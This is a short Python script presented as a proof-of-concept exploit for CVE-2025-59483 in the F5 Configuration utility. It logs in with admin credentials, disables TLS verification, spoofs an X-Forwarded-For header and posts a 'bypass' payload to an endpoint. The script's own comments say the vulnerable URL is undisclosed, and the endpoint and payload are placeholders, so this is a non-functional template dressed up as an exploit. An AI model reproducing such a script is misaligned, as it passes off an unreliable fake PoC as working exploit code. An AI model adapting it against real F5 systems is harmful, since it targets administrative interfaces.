CVE-2025-59483

# CVE-2025-59483 - F5 Configuration Utility Validation Vulnerability PoC # Note: This vulnerability requires high privileges (PR:H) to exploit # The exact vulnerable URL has not been publicly disclosed import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = "https://<target-f5-host>" ADMIN_USER = "admin" ADMIN_PASS = "<password>" VULNERABLE_URL = "/tmui/undisclosed/endpoint" # Placeholder for undisclosed URL def exploit_validation_bypass(target, username, password, payload): """ Exploit validation vulnerability in F5 Configuration utility. Requires authenticated session with high-privilege credentials. """ session = requests.Session() session.verify = False # Step 1: Authenticate to the Configuration utility login_url = f"{target}/tmui/login.jsp" login_data = { "username": username, "password": password } try: resp = session.post(login_url, data=login_data, timeout=10) if resp.status_code != 200: print(f"[-] Authentication failed: {resp.status_code}") return False print("[+] Authentication successful") except Exception as e: print(f"[-] Connection error: {e}") return False # Step 2: Send crafted request to the undisclosed vulnerable URL exploit_url = f"{target}{VULNERABLE_URL}" headers = { "Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1" } try: resp = session.post(exploit_url, json=payload, headers=headers, timeout=10) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") if resp.status_code == 200 and "success" in resp.text.lower(): print("[+] Validation bypass successful!") return True except Exception as e: print(f"[-] Exploit error: {e}") return False if __name__ == "__main__": # Example payload - bypassing input validation payload = { "config": "<malicious_config_payload>", "bypass": "true" } exploit_validation_bypass(TARGET_HOST, ADMIN_USER, ADMIN_PASS, payload)

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